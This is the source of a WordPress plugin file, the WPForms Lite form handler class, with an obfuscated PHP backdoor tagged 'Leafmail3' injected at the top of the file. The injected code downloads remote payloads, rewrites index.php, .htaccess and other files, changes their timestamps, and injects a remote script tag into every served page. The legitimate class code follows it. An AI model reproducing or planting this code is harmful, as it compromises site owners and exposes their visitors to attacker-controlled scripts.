Current File : /home/virtualki/22346/wp-content/plugins/wpforms-lite/includes/class-form.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* All the form goodness and basics.
*
* Contains a bunch of helper methods as well.
*
* @since 1.0.0
*/
class WPForms_Form_Handler {
/**
* Tags taxonomy.
*
* @since 1.7.5
*/
const TAGS_TAXONOMY = 'wpforms_form_tag';
/**
* Allowed post types.
*
* @since 1.8.8
*/
const POST_TYPES = [
'wpforms',
'wpforms-template',
];
/**
* Is form data slashing enabled.
*
* @since 1.9.0
*
* @var bool
*/
private $is_form_data_slashing_enabled;
/**
* Primary class constructor.
*
* @since 1.0.0
*/
public function __construct() {
$this->is_form_data_slashing_enabled = wpforms_is_form_data_slashing_enabled();
$this->hooks();
}
/**
* Hooks.
*
* @since 1.7.5
*/
private function hooks() {
// Register wpforms custom post type and taxonomy.
add_action( 'init', [ $this, 'register_taxonomy' ] );
add_action( 'init', [ $this, 'register_cpt' ] );
// Add wpforms to new-content admin bar menu.
add_action( 'admin_bar_menu', [ $this, 'admin_bar' ], 99 );
add_action( 'wpforms_create_form', [ $this, 'track_first_form' ], 10, 3 );
// @WPFormsBackCompat Support Zapier v1.5.0 and earlier.
add_filter( 'wpforms_form_handler_add_notices', [ $this, '_zapier_disconnected_on_duplication' ], 10, 3 );
}
/**
* Register the custom post type to be used for forms.
*
* @since 1.0.0
*/
public function register_cpt() {
// phpcs:disable WPForms.PHP.ValidateHooks.InvalidHookName
/**
* Filters Custom Post Type arguments.
*
* @since 1.0.0
*
* @param array $args Arguments.
*/
$args = apply_filters(
'wpforms_post_type_args',
[
'label' => 'WPForms',
'public' => false,
'exclude_from_search' => true,
'show_ui' => false,
'show_in_admin_bar' => false,
'rewrite' => false,
'query_var' => false,
'can_export' => false,
'supports' => [ 'title', 'author', 'revisions' ],
'capability_type' => 'wpforms_form', // Not using 'capability_type' anywhere. It just has to be custom for security reasons.
'map_meta_cap' => false, // Don't let WP to map meta caps to have a granular control over this process via 'map_meta_cap' filter.
]
);
// phpcs:enable WPForms.PHP.ValidateHooks.InvalidHookName
// Register the post type.
register_post_type( 'wpforms', $args );
}
/**
* Register the new taxonomy for tags.
*
* @since 1.7.5
*/
public function register_taxonomy() {
/**
* Filters Tags taxonomy arguments.
*
* @since 1.7.5
*
* @param array $args Arguments.
*/
$args = apply_filters(
'wpforms_form_handler_register_taxonomy_args',
[
'hierarchical' => false,
'rewrite' => false,
'public' => false,
]
);
register_taxonomy( self::TAGS_TAXONOMY, 'wpforms', $args );
}
/**
* Add "WPForms" item to new-content admin bar menu item.
*
* @since 1.1.7.2
*
* @param WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance, passed by reference.
*/
public function admin_bar( $wp_admin_bar ) {
if ( ! is_admin_bar_showing() || ! wpforms_current_user_can( 'create_forms' ) ) {
return;
}
$args = [
'id' => 'wpforms',
'title' => esc_html__( 'WPForms', 'wpforms-lite' ),
'href' => admin_url( 'admin.php?page=wpforms-builder' ),
'parent' => 'new-content',
];
$wp_admin_bar->add_node( $args );
}
/**
* Preserve the timestamp when the very first form has been created.
*
* @since 1.6.7.1
*
* @param int $form_id Newly created form ID.
* @param array $form Array past to create a new form in wp_posts table.
* @param array $data Additional form data.
*/
public function track_first_form( $form_id, $form, $data ) {
// Do we have the value already?
$time = get_option( 'wpforms_forms_first_created' );
// Check whether we have already saved this option - skip.
if ( ! empty( $time ) ) {
return;
}
// Check whether we have any forms other than the currently created one.
$other_form = $this->get(
'',
[
'posts_per_page' => 1,
'nopaging' => false,
'fields' => 'ids',
'post__not_in' => [ $form_id ], // phpcs:ignore WordPressVIPMinimum.Performance.WPQueryParams.PostNotIn_post__not_in
'update_post_meta_cache' => false,
'update_post_term_cache' => false,
'cap' => false,
]
);
// As we have other forms - we are not certain about the situation, skip.
if ( ! empty( $other_form ) ) {
return;
}
add_option( 'wpforms_forms_first_created', time(), '', 'no' );
}
/**
* Fetch forms.
*
* @since 1.0.0
*
* @param mixed $id Form ID.
* @param array $args Additional arguments array.
*
* @return array|bool|null|WP_Post
*/
public function get( $id = '', array $args = [] ) {
if ( $id === false ) {
return false;
}
// phpcs:disable WPForms.PHP.ValidateHooks.InvalidHookName
/**
* Allow developers to filter the WPForms_Form_Handler::get() arguments.
*
* @since 1.0.0
*
* @param array $args Arguments array.
* @param mixed $id Form ID.
*/
$args = (array) apply_filters( 'wpforms_get_form_args', $args, $id );
// phpcs:enable WPForms.PHP.ValidateHooks.InvalidHookName
// By default, we should return only published forms.
$defaults = [
'post_status' => 'publish',
];
$args = (array) wp_parse_args( $args, $defaults );
$forms = empty( $id ) ? $this->get_multiple( $args ) : $this->get_single( $id, $args );
return ! empty( $forms ) ? $forms : false;
}
/**
* Fetch a single form.
*
* @since 1.5.8
*
* @param string|int $id Form ID.
* @param array $args Additional arguments array.
*
* @return array|bool|null|WP_Post
*/
protected function get_single( $id = '', array $args = [] ) {
// phpcs:disable WPForms.PHP.ValidateHooks.InvalidHookName
/**
* Allow developers to filter the get_single() arguments.
*
* @since 1.5.8
*
* @param array $args Arguments array, same as for `get_post()` function.
* @param string|int $id Form ID.
*/
$args = apply_filters( 'wpforms_get_single_form_args', $args, $id );
// phpcs:enable WPForms.PHP.ValidateHooks.InvalidHookName
if ( ! isset( $args['cap'] ) && wpforms()->obj( 'access' )->init_allowed() ) {
$args['cap'] = 'view_form_single';
}
if ( ! empty( $args['cap'] ) && ! wpforms_current_user_can( $args['cap'], $id ) ) {
return false;
}
// @todo add $id array support
// If ID is provided, we get a single form
$form = get_post( absint( $id ) );
if ( ! empty( $args['content_only'] ) ) {
$form = ! empty( $form ) && in_array( $form->post_type, self::POST_TYPES, true ) ? wpforms_decode( $form->post_content ) : false;
}
return $form;
}
/**
* Fetch multiple forms.
*
* @since 1.5.8
* @since 1.7.2 Added support for $args['search']['term'] - search form title or description by term.
*
* @param array $args Additional arguments array.
*
* @return array
*/
